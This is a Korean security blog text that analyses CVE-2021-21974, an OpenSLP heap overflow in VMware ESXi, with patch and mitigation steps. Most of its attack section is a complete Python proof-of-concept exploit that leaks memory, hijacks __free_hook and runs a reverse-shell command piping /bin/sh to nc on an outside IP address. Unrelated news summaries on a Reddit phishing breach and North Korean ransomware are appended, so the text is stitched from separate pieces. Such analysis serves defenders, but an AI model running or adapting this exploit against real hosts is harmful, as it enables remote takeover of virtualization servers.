1. ESXi

- 가상 컴퓨터를 배치하고 서비스를 제공할 목적으로 VM웨어가 개발한 엔터프라이즈 계열 타입 1 하이퍼바이저

※ 하이퍼바이저: 단일 물리 머신에서 여러 가상 머신을 실행하고 관리할 수 있도록 해주는 소프트웨어

 

1.1 OpenSLP (Open Service Location Protocol)

- 클라이언트가 사전 구성 없이 네트워크에서 사용 가능한 서비스를 동적으로 검색할 수 있도록 하는 서비스 검색 프로토콜

- 대부분 UDP를 사용하나, 긴 패킷을 전송할 경우 TCP 또한 사용가능하며, 427 포트를 사용

구성 설명
User Agents
(UA, 사용자 에이전트)
- 서비스를 검색하는 장치
Service Agents
(SA, 서비스 에이전트)
- 하나 이상의 서비스를 알리는 장치
Directory Agents
(DA, 디렉터리 에이전트)
- 서비스 정보를 캐시하는 장치
- 트래픽 양을 줄이고 SLP 확장을 허용하기 위해 더 큰 네트워크에서 사용
- 선택 사항이지만 DA가 있는 경우 UA와 SA는 DA를 통해 통신

 

패킷 설명
서비스 요청 - UA가 사용하고자 하는 서비스를 네트워크에서 찾기위한 패킷
- 가능한 모든 결과를 얻기 위해 반복적으로 멀티캐스트 전송
- 참고 : https://datatracker.ietf.org/doc/html/rfc2608#section-8.1
속성 요청 - 서비스 요청에 대한 SA의 응답 패킷
- UA가 주어진 서비스 또는 전체 서비스 유형의 속성을 확인하도록 하여 사용 가능한 서비스에 대한 쿼리를 수행
- 참고 : https://datatracker.ietf.org/doc/html/rfc2608#section-10.3
서비스 등록 - SA가 서비스 등록(제공)을 위해 DA에 전송하는 패킷
- 참고: https://datatracker.ietf.org/doc/html/rfc2608#section-8.3
- URL에 대한 정보를 entry로 가짐
- 참고: https://datatracker.ietf.org/doc/html/rfc2608#section-4.3
디렉토리 에이전트 알림 - 전반적인 DA의 상태를 알리기위한 패킷
- 참고: https://datatracker.ietf.org/doc/html/rfc2608#section-8.5

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2021-21974

- ESXi에서 사용되고 있는 OpenSLP의 힙 오버플로 취약점을 트리거하여 원격 코드를 실행할 수 있는 취약점

제품명 플랫폼 영향 받는 버전
ESXi 모든 플랫폼 6.5
6.7
7.0
힙 영역
- 필요에 의해 동적으로 할당된 변수를 저장하며, 실행 시 크기가 결정됨.
- 메모리의 낮은 주소에서 높은 주소의 방향으로 할당

힙 오버플러
- 메모리 영역 중 힙 데이터 영역에서 발생하는 버퍼 오버플로우
- 프로그램의 함수 포인터를 조작하여 임의의 명령을 실행하는 등의 악성 동작을 수행

※ 스택영역: 지역변수와 매개변수가 저장되며, 함수 호출 시 크기가 결정, 메모리의 높은 주소에서 낮은 주소방향으로 할당
※ 스택 오버플러: 함수의 RET를 조작하여 임의의 명령을 실행하는 등의 악성 동작을 수행

 

2.1 분석

- OpenSLP는 관리자 권한으로 실행되며, 인증없이 입력값을 수신하고, 문자열 끝을 미지정하는 문제로 인해 힙오버플로우가 발생

 

- 취약점은 'SLPParseSrvURL' 함수에서 발생

- 해당 함수는 '디렉토리 에이전트 알림' 메시지가 처리될 때 호출됨

undefined4 SLPParseSrvUrl(int param_1,char *param_2,void **param_3)

{
  char cVar1;
  void **__ptr;
  char *pcVar2;
  char *pcVar3;
  void *pvVar4;
  char *pcVar5;
  char *__src;
  char *local_28;
  void **local_24;
  
  if (param_2 == (char *)0x0) {
    return 0x16;
  }
  *param_3 = (void *)0x0;
  __ptr = (void **)calloc(1,param_1 + 0x1d);                                       [1]
  if (__ptr == (void **)0x0) {
    return 0xc;
  }
  pcVar2 = strstr(param_2,":/");                                                   [2]
  if (pcVar2 == (char *)0x0) {
    free(__ptr);
    return 0x16;
  }
  pcVar5 = param_2 + param_1;
  memcpy((void *)((int)__ptr + 0x15),param_2,(size_t)(pcVar2 + -(int)param_2));    [3]

- [1]: param_1(URL의 길이)에 0x1d(29)를 더하여 calloc함으로써 메모리를 할당받음

- [2]: strstr()를 이용해 param_2(사용자 입력 URL)에서 :/의 위치를 찾아 이후 문자열을 pcVar2에 저장

※ strstr은 검색 문자열을 찾지 못할경우나 null 문자에 도달할 경우 0을 반환

- [3]: memcpy()를 이용해 param_2의 (size_t)(pcVar2 + -(int)param_2)만큼을 (void *)((int)__ptr + 0x15)에 복사

 

- param_2는 사용자 입력을 통해 받는 값이지만 strstr()를 사용하기 전에 param_2의 끝에 NULL을 추가하지 않음

- 따라서 범위 밖의 문자열을 검사하여 memcpy 부분에서 heap overflow가 발생

 

- SLP를 통해 RCE를 수행하기 위해 SLP에서 송수신에 사용되는 struct _SLPBuffer의 구조는 다음과 같음

typedef struct _SLPBuffer
{
    SLPListItem listitem;
    size_t  allocated;
    unsigned char*   start;
    unsigned char*   curpos;
    unsigned char*   end;
    // buffer data is appended
}*SLPBuffer;

typedef struct _SLPDSocket
{
    SLPListItem         listitem;
    int                 fd;
    time_t              age;
    int                 state;
// ...
    SLPBuffer           recvbuf; /* Incoming socket stuff */
    SLPBuffer           sendbuf;
// ...
}SLPDSocket;

- VMware의 SLP 코드를 통해 RCE를 트리거하는 과정은 다음과 같음

① 접속상태(connection->state)를 STREAM_WRITE_FIRST로서 덮어씀. 메모리를 leak 하기 위해 sendbuf->curpos를 sendbuf->start로 리셋

② sendbuf->start의 일부분을 2개의 널 바이트로 덮어씀. 연결 후 수신을 기다리면, sendbuf의 주소를 포함한 메모리를 leak 할 수 있음

③ mmap()으로 할당된 recvbuf를 leak 하기 위해 새로운 연결을 하고 sendbuf->curpos를 덮어씀. mmap 된 주소를 통해 libc base 주소를 얻을 수 있음

④ free_hook의 주소를 설정하기 위해 새로운 연결에서 recvbuf->curpos를 덮어씀. 연결 후 전송이 시작되면 free_hook을 덮어쓸 수 있습니다.

⑤ 연결을 종료하면 free_hook을 호출되여 ROP 체인을 시작

ROP(Return-Oreinted-Programming)
- ret영역에 가젯을 이용하여 연속적으로 함수를 호출하며 공격자가 원하는 흐름대로 프로그래밍 하듯 공격
- 총 두가지 과정으로 나뉘어짐
① 공격을 하기위해 필요한 요소들을 구하는 과정
② ①에서 구한 요소들을 가지고 Exploit

 

2.2 PoC

- 대상 서버에 조작된 SLP 패킷 생성 및 전송하여 힙 오버플로를 유발한 후 임의의 명령을 실행하는 과정으로 판단됨

#!/usr/bin/python3

import sys
import time
import trace
import queue
import struct
import socket
import threading

IP = sys.argv[1]
#shell_cmd = b'echo "pwned" > /tmp/pwn'
shell_cmd = b'mknod /tmp/backpipe p ; /bin/sh 0</tmp/backpipe | nc 192.168.0.194 80 1>/tmp/backpipe'

DEBUG = False
PRINT = True
LOG_LEAK = False

T = 0.3 #0.4
PORT = 427
COMMAND = 'command'
MARKER = b'\xef\xbe\xad\xde'

LISTEN = 0x65
STREAM_READ = 0x6c
STREAM_WRITE = 0x6f
STREAM_READ_FIRST = 0x6d

LISTEN_FD = 0x8

leaked_data = b'\x00\x00\x00\x00'
leaked_values = None

class SLP_Thread(threading.Thread):
    def __init__(self, input_q):
       super(SLP_Thread, self).__init__()
       self.input_q = input_q

    def run(self):
       s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
       while True:
          try:
             
             data = self.input_q.get(True, 0.05)
             name = threading.current_thread().name.replace('Thread','SLP Client') 
             
             if 'connect' == data[COMMAND]:
                if PRINT:
                   print('[' + name + '] connect')
                s.connect((IP, PORT)) 
             
             elif 'service request' == data[COMMAND]:
                arg1 = data['arg1'] 
                outgoing = self.generate_srv_rqst(arg1)
                if PRINT:
                   print('[' + name + '] service request')
                s.send(outgoing)
                d = s.recv(1024)
                if PRINT:
                   print('[' + name + '] recv: ', d)
 
             elif 'directory agent advertisement' == data[COMMAND]:
                arg1 = data['arg1']
                arg2 = data['arg2']
                outgoing = self.generate_da_advert(arg1, arg2)
                if PRINT:
                   print('[' + name + '] directory agent advertisement')
                s.send(outgoing)
                d = s.recv(1024)
                if PRINT:
                   print('[' + name + '] recv: ', d)
       
             elif 'service registration' == data[COMMAND]:
               arg1 = data['arg1']
               arg2 = data['arg2']
               arg3 = data['arg3']
               arg4 = data['arg4']       
               outgoing = self.generate_srv_reg(arg1, arg2, arg3, arg4)
               if PRINT:
                  print('[' + name + '] service registration')
               s.send(outgoing)
               d = s.recv(1024)
               if PRINT:
                  print('[' + name +'] recv: ', d)

             elif 'attribute request' == data[COMMAND]:
               arg1 = data['arg1']
               arg2 = data['arg2']
               outgoing = self.generate_attrib_rqst(arg1)
               if PRINT:
                  print('[' + name + '] attribute request')
               s.send(outgoing)
               output = b''
               for i in range(0, arg2):
                  output += s.recv(1)
               if PRINT:
                  print('[' + name + '] recv: ', output)
             
             elif 'recv' == data[COMMAND]:
                output = b''
                arg1 = data['arg1']
                arg2 = data['arg2']
                for i in range(0, arg2):
                   output += s.recv(1)
                if arg1:
                   print('[' + name + '] recv: ', output)
             
             elif 'leak data' == data[COMMAND]:
                outgoing = b''
                incoming = b''
                arg1 = data['arg1']   
  
                if arg1 > 0:
                
                   for i in range(0, arg1):
                      outgoing += s.recv(1)

                   #print(outgoing.hex())

                   global leaked_data
                   leaked_data = outgoing            
 
                else:

                   while True:
                      incoming = s.recv(1)
                      outgoing += incoming
                      if MARKER in outgoing:
                         break
                   
                   global leaked_values
                   leaked_values = []

                   try:
                      for i in range(0, len(outgoing), 4):
                         v = struct.unpack('<I', outgoing[i : i+4])[0]
                         leaked_values.append(v)
                   except:
                      pass

             elif 'close' == data[COMMAND]:
                if PRINT:
                   print('[' + name + '] close')
                s.close()
                break
       
          except queue.Empty:
             continue 

    def generate_slp_header(self, payload, functionid, xid, extoffset):
       packetlen = len(payload) + 16
       if extoffset:
          extoffset += 16
       header = bytearray([2, functionid])
       header.extend(struct.pack('!IH', packetlen, 0)[1:])
       header.extend(struct.pack('!IHH', extoffset, xid, 2)[1:])
       header.extend(b'en')
       return header

    def generate_srv_rqst(self, data):
       srvtype = prlist = scopes = predicate = b''
       spi = data
       payload = bytearray(struct.pack('!H', len(prlist)) + prlist)
       payload.extend(struct.pack('!H', len(srvtype)) + srvtype)
       payload.extend(struct.pack('!H', len(scopes)) + scopes)
       payload.extend(struct.pack('!H', len(predicate)) + predicate)
       payload.extend(struct.pack('!H', len(spi)) + spi)
       header = self.generate_slp_header(payload, 1, 5, 0)
       return header + payload

    def generate_da_advert(self, url, scopes):
       error_code = 0
       boot_time = int(time.time())
       attributes = spi = auth_blocks = b''
       payload = bytearray(struct.pack('!H', error_code) + struct.pack('!I', boot_time))
       payload.extend(struct.pack('!H', len(url)) + url)
       payload.extend(struct.pack('!H', len(scopes)) + scopes)
       payload.extend(struct.pack('!H', len(attributes)) + attributes)
       payload.extend(struct.pack('!H', len(spi)) + spi)
       payload.extend(struct.pack('!H', len(auth_blocks)) + auth_blocks)
       header = self.generate_slp_header(payload, 8, 0, 0)
       return header + payload
   
    def generate_url_entry(self, url):
       lifetime = 2 * 60 #seconds
       auth_blocks = b''
       payload = bytearray([0])
       payload.extend(struct.pack('!H', lifetime))
       payload.extend(struct.pack('!H', len(url)) + url)
       payload.extend(struct.pack('!B', len(auth_blocks)) + auth_blocks)
       return payload
   
    def generate_srv_reg(self, url, srvtype, scopes, attributes):
       attrib_auth_blocks = b''
       url_entry = self.generate_url_entry(url)
       payload = bytearray(url_entry)
       payload.extend(struct.pack('!H', len(srvtype)) + srvtype)
       payload.extend(struct.pack('!H', len(scopes)) + scopes)
       payload.extend(struct.pack('!H', len(attributes)) + attributes)
       payload.extend(struct.pack('!B', len(attrib_auth_blocks)) + attrib_auth_blocks)
       header = self.generate_slp_header(payload, 3, 20, 0)
       return header + payload
   
    def generate_attrib_rqst(self, url):
       scopes = b'DEFAULT'
       prlist = tags = spi = b''
       payload = bytearray(struct.pack('!H', len(prlist)) + prlist)
       payload.extend(struct.pack('!H', len(url)) + url)
       payload.extend(struct.pack('!H', len(scopes)) + scopes)
       payload.extend(struct.pack('!H', len(tags)) + tags)
       payload.extend(struct.pack('!H', len(spi)) + spi)
       header = self.generate_slp_header(payload, 6, 12, 0)
       return header + payload

def close():
   time.sleep(T)
   return {'command' : 'close'}

def connect():
   time.sleep(T)
   return {'command' : 'connect'}

def service_request(arg1):
   time.sleep(T)
   return {'command' : 'service request', 'arg1' : arg1}

def da_advert_request(arg1, arg2):
   time.sleep(T)
   return {'command' : 'directory agent advertisement', 'arg1' : arg1, 'arg2' : arg2}

def service_registration(arg1, arg2):
   time.sleep(T)
   return {'command' : 'service registration', 'arg1' : b'127.0.0.1', 'arg2' : arg1, 'arg3' : b'default', 'arg4' : arg2}

def attribute_request(arg1, arg2):
   time.sleep(T)
   return {'command' : 'attribute request', 'arg1' : arg1, 'arg2' : arg2}

def leak_data(arg1 = -1):
   time.sleep(T)
   return {'command' : 'leak data', 'arg1': arg1}

def overflow_and_extend(size, flag):
   arg1 = b'A' * 24
   arg2 = b'B' * 13 + struct.pack('<H', size + flag) + b':/' + b'C' * 647
   return da_advert_request(arg1, arg2)

def update_target_slpdsocket(fd, size, state):
   payload  = b'\xd0\x00\x00\x00'
   payload += b'\x00' * 8 + b'\xbe\xba\xfe\xca'
   payload += struct.pack('<I', fd)
   payload += b'\x00' * 4
   payload += struct.pack('<I', state)
   payload += b'\x00' * 12
   payload += b'\x02\x00\x00\x00'
   payload += b'\x7f\x00\x00\x01'
   payload += b'\x00' * 8
   filler = b'A' * (size - 0x76)
   return service_request(filler + payload)

def partial_update_target_send_buffer(size, send_buffer_size, flag, data):
   payload  = struct.pack('<I', send_buffer_size + flag)
   payload += b'\x00' * 8
   payload += struct.pack('<I', send_buffer_size - 0x20)
   payload += data #b'\x00' * 2
   filler = b'A' * (size - 0x56)
   return service_request(filler + payload)

def update_target_send_buffer(size, send_buffer_size, flag, address, length):
   payload = struct.pack('<I', send_buffer_size + flag)
   payload += b'\x00' * 8
   payload += struct.pack('<I', send_buffer_size - 0x20)
   payload += struct.pack('<I', address) * 2
   payload += struct.pack('<I', address + length)
   payload += b'\x00' * 0x10
   filler = b'A' * (size - 0x66)
   return service_request(filler + payload)

def update_target_recv_buffer(size, address):
   size += 0x1a
   payload  = b'\x40\x00\x00\x00'
   payload += b'\x00' * 8
   payload += struct.pack('<I', size)
   payload += struct.pack('<I', address - 26) * 2 + struct.pack('<I', address - 26 + size)     
   filler = b'A' * 0xca
   return service_request(filler + payload)

def block(size):
   if size > 0x38:
      size = size - 0x38
   else:
      size = 1
   return service_request(b'A' * size)

def breakpoint():
   time.sleep(T)
   input('breakpoint')

def exploit():
   count = 60
   requests = [0]
   slpclients = [0]

   global leaked_data
   global leaked_values

   requests.extend([queue.Queue() for i in range(1, count)])
   slpclients.extend([SLP_Thread(input_q = requests[i]) for i in range(1, count)])

   for i in range(1, count):
      slpclients[i].start()

   requests[1].put(connect())
   requests[1].put(da_advert_request(b'roflmao://pwning', b'BBB'))

   requests[2].put(connect())
   requests[3].put(connect())
   requests[4].put(connect())
   requests[5].put(connect())

   requests[2].put(block(0x40))
   requests[3].put(block(0x40))
   requests[4].put(block(0x40))
   requests[5].put(block(0x40))

   requests[6].put(connect())
   requests[6].put(block(0x810))
   requests[7].put(connect())
   requests[8].put(connect())
   requests[6].put(close())
   requests[9].put(connect())
   requests[9].put(overflow_and_extend(0x140, 0x1))
   fd = 0xc
   requests[8].put(update_target_slpdsocket(fd, 0x140, STREAM_READ_FIRST))
   requests[7].put(service_registration(b'service:pwn', MARKER + b'B' * (0x3200 - 21 - 4)))
   requests[8].put(update_target_slpdsocket(LISTEN_FD, 0x140, LISTEN))
   requests[10].put(connect())
   requests[10].put(block(0x70))

   requests[11].put(connect())
   requests[12].put(connect())
   requests[13].put(connect())
   requests[11].put(block(0x810))
   requests[14].put(connect())
   requests[14].put(block(0x160))
   requests[12].put(block(0x810))
   requests[14].put(close())
   requests[15].put(connect())
   requests[15].put(attribute_request(b'service:pwn', 0x20))

   requests[13].put(block(0x110))
   requests[16].put(connect())
   requests[17].put(connect())

   requests[12].put(close())
   requests[18].put(connect())
   requests[18].put(overflow_and_extend(0x120, 0x3))
   requests[17].put(partial_update_target_send_buffer(0x120, 0x3220, 0x1, b'\x00\x00'))
   requests[19].put(connect())
   requests[19].put(block(0x178))

   requests[11].put(close())
   requests[20].put(connect())
   requests[20].put(overflow_and_extend(0x140, 0x1))
   fd = 0x11
   requests[16].put(update_target_slpdsocket(fd, 0x140, STREAM_WRITE))
   requests[16].put(update_target_slpdsocket(LISTEN_FD, 0x140, LISTEN))
   requests[21].put(connect())
   requests[21].put(block(0x178))
   requests[15].put(leak_data())

   time.sleep(T + 1.0)

   heap_address = 0
   libc_base_address = 0

   if leaked_values == None:
      print("[-] Exploit Failed [-]")
      return -1

   leaked_values = leaked_values[::-1]

   if LOG_LEAK:  
      for i in leaked_values:
         print(hex(i))
 
   if leaked_values[0] == 0xdeadbeef:
      heap_address = leaked_values[6] - 0x3220 + 0x4
     
   elif leaked_values[0] == 0xefeb3174:
      heap_offset = 0x2b1 if leaked_values[42] == 0x42424242 else 0x5d61
      heap_address = leaked_values[14] + heap_offset
   
   libc_leak_location = heap_address - 0x100 + 4
      
   requests[22].put(connect())
   requests[22].put(block(0x810))
   requests[23].put(connect())
   requests[23].put(block(0x100))
   requests[24].put(connect())
   requests[24].put(block(0x810))
   requests[23].put(close())
   requests[25].put(connect())
   requests[25].put(block(0x698))

   requests[27].put(connect())
   requests[28].put(connect())

   requests[24].put(close())
   requests[26].put(connect())
   requests[26].put(overflow_and_extend(0x130, 0x1))
   requests[27].put(update_target_send_buffer(0x130, 0x598, 0x1, libc_leak_location, 0x4))
   requests[29].put(connect())
   requests[29].put(block(0x178))
   
   requests[22].put(close())
   requests[30].put(connect())
   requests[30].put(overflow_and_extend(0x140, 0x1)) 
   fd = 0x15
   requests[28].put(update_target_slpdsocket(fd, 0x140, STREAM_WRITE))
   requests[28].put(update_target_slpdsocket(LISTEN_FD, 0x140, LISTEN))
   requests[31].put(connect())
   requests[31].put(block(0x178))
   requests[25].put(leak_data(0x4))
 
   time.sleep(T + 1.0)
   libc_base_address = struct.unpack('<I', leaked_data)[0] - 0x193568

   libc_ret_offset = 0x0008009c
   libc_system_offset = 0x0003e390
   libc_environ_offset = 0x00194e20
   libc___free_hook_offset = 0x001948d8
   libc_ret_address = libc_base_address + libc_ret_offset
   libc_system_address = libc_base_address + libc_system_offset
   libc_environ_address = libc_base_address + libc_environ_offset
   libc___free_hook_address = libc_base_address + libc___free_hook_offset
   shell_cmd_address = heap_address + 0x34

   gadget_offset = 0x0007fe01 # add esp, 0x100 ; ret
   gadget_address = libc_base_address + gadget_offset

   requests[27].put(update_target_send_buffer(0x130, 0x598, 0x1, libc_environ_address, 0x4))
   requests[28].put(update_target_slpdsocket(fd, 0x140, STREAM_WRITE))
   requests[25].put(leak_data(0x4))
 
   time.sleep(T + 1.0)
   stack_environ_address =  struct.unpack('<I', leaked_data)[0]
   esp_offset = 0xe30 if sys.argv[2] == '1' else 0xe7c
   esp_value = stack_environ_address - esp_offset
   pivoted_esp_value = esp_value + 0x100

   print()
   print('[+] libc base address: ', hex(libc_base_address))
   print("[+] libc system address: ", hex(libc_system_address))
   print("[+] libc environ address: ", hex(libc_environ_address))
   print("[+] libc __free_hook address: ", hex(libc___free_hook_address))
   print("[+] ret address: ", hex(libc_ret_address))
   print("[+] gadget address: ", hex(gadget_address))
   print('[+] heap address: ', hex(heap_address))
   print("[+] shell command address: ", hex(shell_cmd_address))
   print("[+] stack enviorn address: ", hex(stack_environ_address))
   print("[+] esp value: ", hex(esp_value))
   print("[+] pivoted esp value: ", hex(pivoted_esp_value))
   print()

   requests[28].put(update_target_slpdsocket(LISTEN_FD, 0x140, LISTEN))
   
   requests[32].put(connect())
   requests[32].put(block(0x810))
   requests[33].put(connect())
   requests[34].put(connect())
   requests[34].put(block(0x810))
   requests[33].put(block(0x100))
  
   requests[35].put(connect())
   requests[36].put(connect())

   requests[34].put(close())
   requests[37].put(connect())
   requests[37].put(overflow_and_extend(0x120, 0x3))
   requests[36].put(update_target_recv_buffer(0x4, shell_cmd_address))
   requests[38].put(connect())
   requests[38].put(block(0x178))
   
   requests[32].put(close())
   requests[39].put(connect())
   requests[39].put(overflow_and_extend(0x140, 0x1))
   requests[35].put(update_target_slpdsocket(LISTEN_FD, 0x140, LISTEN))
   requests[40].put(connect())
   requests[40].put(block(0x178))   

   fd = 0x1a
   payload = shell_cmd + b'\x00'
   requests[36].put(update_target_recv_buffer(len(payload), shell_cmd_address))
   requests[35].put(update_target_slpdsocket(fd, 0x140, STREAM_READ))
   requests[33].put(service_request(payload))
   
   payload = struct.pack('<I', libc_ret_address) * 10 + struct.pack('<I', libc_system_address) + b'\x41' * 4 + struct.pack('<I', shell_cmd_address)
   requests[36].put(update_target_recv_buffer(len(payload), pivoted_esp_value - 0x10)) 
   requests[35].put(update_target_slpdsocket(fd, 0x140, STREAM_READ))
   requests[33].put(service_request(payload))
   
   #breakpoint()
   
   payload = b'\x41\x41\x41\x41' if DEBUG == True else struct.pack('<I', gadget_address)
   requests[36].put(update_target_recv_buffer(len(payload), libc___free_hook_address))
   requests[35].put(update_target_slpdsocket(fd, 0x140, STREAM_READ))
   requests[33].put(service_request(payload))

   time.sleep(T + 1.0) 
   print('[*] exploit deployed')
   return 0

def intro():
   print("   _____   _____   ___ __ ___ _    ___ _ ___ ____ _ _       ")
   print("  / __\ \ / / __|_|_  )  \_  ) |__|_  ) / _ \__  | | |      ")
   print(" | (__ \ V /| _|___/ / () / /| |___/ /| \_, / / /|_  _|     ")
   print("  \___| \_/ |___| /___\__/___|_|  /___|_|/_/ /_/   |_|      ")
   print()
   print("                       PoC Exploit                          ")
   print()
   print("      vuln discovered by: Lucas Leong (@_wmliang_)          ")
   print("           poc by: Johnny Yu (@straight_blast)              ")
   print("                                                            ")
   print()
   print("           currently support the following:                 ")
   print("         [1] VMware ESXi 6.7.0 build-14320388               ")
   print("         [2] VMware ESXi 6.7.0 build-16316930               ")
   print()

if __name__ == '__main__':
   intro()   
   exploit()

3. 대응방안

① 최신 업데이트 적용

※ 참고: https://www.vmware.com/security/advisories/VMSA-2021-0002.html

제품명 플랫폼 영향 받는 버전 패치 버전
ESXi 모든 플랫폼 6.5 ESXi650-202102101-SG
6.7 ESXi670-202102401-SG
7.0 ESXi70U1c-17325551

 

② SLP 서비스 사용 중지

  ⒜ 명령어 사용

    i) ssh로 취약한 ESXi 호스트에 로그인
    ii) 아래 명령어로 호스트 SLP 서비스 중지
      - /etc/init.d/slpd stop
    iii) 재부팅 후에도 비활성화를 유지하려면 아래 명령어를 입력
      - chkconfig slpd off

 

  ⒝ GUI 사용

    i) vCenter에 로그인
    ii) ESXi 호스트를 선택하고 'Configure'-'Service' 탭 클릭
    iii) 목록에서 SLP 서비스를 선택
      * 목록에 SLP가 없다면 명령어로 SLP 서비스를 중지
    iv) 알림창의 서비스 중지 버튼('OK')를 클릭

 

4. 참고

https://nvd.nist.gov/vuln/detail/CVE-2021-21974
https://www.vmware.com/security/advisories/VMSA-2021-0002.html
https://github.com/Shadow0ps/CVE-2021-21974/blob/main/2021-21974-POC.py
https://straightblast.medium.com/my-poc-walkthrough-for-cve-2021-21974-a266bcad14b9
https://www.zerodayinitiative.com/blog/2021/3/1/cve-2020-3992-amp-cve-2021-21974-pre-auth-remote-code-execution-in-vmware-esxi
- https://www.krcert.or.kr/data/secNoticeView.do?bulletin_writing_sequence=3592
- https://koren.kr/kor/Alram/notiView.asp?s=4082 

요약 - 2월 5일 유명 온라인 커뮤니티인 레딧(Reddit)에서 스피어피싱 공격을 통해 해킹 사고가 발생
내용 - 다중인증이라는 현대 조직들의 방어 시스템에 존재하는 약점이 고스란히 드러난 해킹 사건
> 스피어피싱 공격을 통해 레딧 내부 직원들을 속여 크리덴셜과 이중인증용 토큰을 탈취

- 공격자는 수시간 동안 레딧의 시스템을 검토하고, 내부 문건들과 대시보드, 코드를 다양하게 열람
> 수사를 진행 중이지만 아직까지 사용자 데이터나 생산 시스템에 접근한 것으로 보이지는 않음
> 즉 가장 핵심이 되는 부분에까지 공격자들이 도달하지는 못했을 가능성이 높다는 것

- 크리덴셜 기반 공격을 막기위한 방어 기법은 이중인증 및 다중인증
> 레딧의 모든 직원들이 이중인증 옵션을 필수로 사용
> 공격자들 이중인증에 점점 익숙해지면서 여러 가지 공략법이 등장
① 우버 침해 사고 사례 : ‘다중인증 폭탄’ 기법 사용
※ 다중인증 관련 메시지를 끊임없이 보냄으로써 아무나 먼저 질린 사람이 메시지를 확인도 하지 않고 인증정보를 입력하도록 유도
② 레딧 침해 사고 사례 : 내부 직원용 포털 페이지를 똑같이 만든 스피어피싱 페이지를 활용
> 더 강력한 다중인증 체계로 옮겨가는 움직임이 있음_사용자의 위치 정보를 파악하여 인증 과정에 활용

- 공격자는 어떤 방어 장치이든 공격자들은 항상 우회하는 방법을 들고 나타남
> 다중인증이라는 것도 공격의 트렌드에 따라 계속해서 조정하고 변화시켜야 하는 요소

- 해당 사건의 경우 일부 직원이 속아서 발생한 사건이지만, 동시에 그 직원이 보안 교육을 제대로 받아 어느 정도 피해를 줄일 수 있었던 사건
> 피싱 페이지에 자신의 크리덴셜을 입력한 직후 내부 IT 팀에 해당 사실을 신고
> 피해 규모 및 대응 시간을 획기적으로 감소시킴
기타 - 최근 소셜엔지니어링 및 피싱 공격이 무섭게 증가
> 23.01월 말 경 게임사인 라이엇게임즈(Riot Games)에서 침해 사고가 발생
> 22.09 테이크투(Take Two)라는 게임사 또한 직원 크리덴셜을 도난 당해 정보가 침해

- 보안 업체 바라쿠다네트웍스(Barracuda Networks)의 조사결과
> 1350명의 IT 전문가들과 IT 보안 관리자들을 대상
> 지난 한 해 동안 75%의 응답자들이 한 번 이상의 이메일 침해 사고를 겪음
> 사고 때문에 발생한 피해액 중 최고는 100만 달러
> 피싱/스피어피싱 공격으로 인한 계정 탈취 공격에 대해서는 꽤나 취약한 모습
> 원격 근무가 보편화 된 요즘, 계정 탈취 공격에 취약하다는 건 커다란 약점이 될 수 있음

- 딱 한 사람이 피싱에 속아도 조직 전체가 피해를 입게 된다는 게 명확히 드러난 사건

- 레딧은 사용자 비밀번호 등은 유출되지 않았다고 밝힘
> 계정 보호를 위해 이중 요소 인증을 설정하고 몇 개월에 한 번씩 암호를 갱신하거나 암호 매니저를 사용하라고 권장

 

보안뉴스

 

레딧 해킹 사건이 드러낸 한 사람의 중요성

최근 유명 온라인 커뮤니티인 레딧(Reddit)에서 해킹 사고가 발생했다. 이 때문에 다중인증이라는 현대 조직들의 방어 시스템에 존재하는 약점이 고스란히 드러났다. 결론부터 말하자면 공격자들

www.boannews.com

 

“소스 코드 등 도난” 레딧도 해킹 피해 - 테크레시피

해외 커뮤니티 사이트인 레딧(Reddit)이 2월 10일 지난 2월 5일 사이버 공격을 받아 업무 시스템에 침입, 소스 코드와 사내 문서 등을 도난당했다고 발표했다. 레딧에서 만든 스레드에서 2월 5일 밤

techrecipe.co.kr

요약 - 한미 정보기관이 합동 보안 권고문을 발표
> 국가정보원이 미국 국가안보국(NSA)·연방수사국(FBI) 등 정보기관과 합동
> 북한의 사이버공격 위협 실태를 알리고 이를 예방하기 위한 보안 권고문을 발표
내용 - 최근 북한은 외화벌이 및 금전탈취를 목적으로 세계 각국의 각 분야 주요 기관에 대한 악의적 사이버 활동에 집중
> 공격 주체를 은닉하고 추적을 회피하기 위해 지속적으로 랜섬웨어 및 가상자산을 악용
> 북한 해커조직의 핵심 목적이 북한 정부를 위한 인텔리전스를 수집하는 것
> 국고를 채우는 데만 집중하는 다른 그룹과 차별화_사이버공격이 북한 정권의 생명줄

- 보고서 주요 내용
※ 침해지표 목록(IP, URL, 악성 파일 MD5 등) 및 자세한 사항은 국정원 보고서 참조
① 공격 단계
⒜ 인프라 구축
> 랜섬웨어 공격을 위한 도메인, 계정 등을 생성
> VPN(가상 사설망), VPS(가상 사설서버) 등을 이용해 제 3국의 IP 주소를 사용_출발지 위장 목적

⒝ 익스플로잇
> 일반적인 취약점을 악용해 대상 기관의 네트워크를 공격해 관리자 권한 획득 시도
> 확인된 유형: CVE-2021-44228(Log4Shell), CVE-2021-20038(SonicWall 관련 취약점), CVE-2022-24990(TerraMaster NAS 관련 취약점)

⒞ 내부 확산
> 맞춤형 악성코드를 포함한 단계별 페이로드를 사용해 내부 정찰
> 추가 파일과 실행 파일을 업로드 및 다운로드, 쉘 명령 실행

⒟ 랜섬웨어
> 랜섬웨어 유포

⒠ 몸값 요구
> 암호화폐 요구

② 대응방안
> PKI와 디지털 인증서를 도입하여 데이터에 대한 접근 제한
> 최소한의 권한 부여
> 복잡한 ID/PW 설정
> 암호화 통신 및 주기적인 백업, 데이터 마스킹 처리
> 지속적인 모니터링
> OS, S/W 등 최신 업데이트 출시되는 즉시 적용
> RDP 등 원격 데스트크톱 프로토콜 제한
> 임직원 대상 보안 교육 실시
기타 - 북한이 해킹으로 벌어들인 암호화폐를 북한의 국가 우선순위와 정보 목표 달성을 위해 사용하고 있을 것

- 국정원은 앞으로도 사이버공격 피해 예방 및 선제적 대응을 위해 유관국·기관과 긴밀하게 공조, 대응할 것

- 외교부는 해킹, 암호화폐 탈취 등 불법 사이버 활동을 벌였거나 관련 프로그램 개발 및 전문인력 양성에 관여한 북한 개인 4명과 기관 7곳을 제재 대상으로 지정
> 개인 : 박진혁, 조명래, 송림, 오충성
> 기관 : 조선엑스포합영회사, 라자루스 그룹(Lazarus Group), 블로노로프(Bluenoroff), 안다리엘(Andariel), 기술정찰국, 110호 연구소, 지휘자동화대학(미림대학)

- 정부는 사이버 공간을 악용한 북한의 불법 외화벌이 실태와 이에 대한 우리 정부의 대응 현황을 설명하는 ‘북한 가상자산 탈취 바로알기’ 국·영문 홍보 소책자를 발간

 

보안뉴스

 

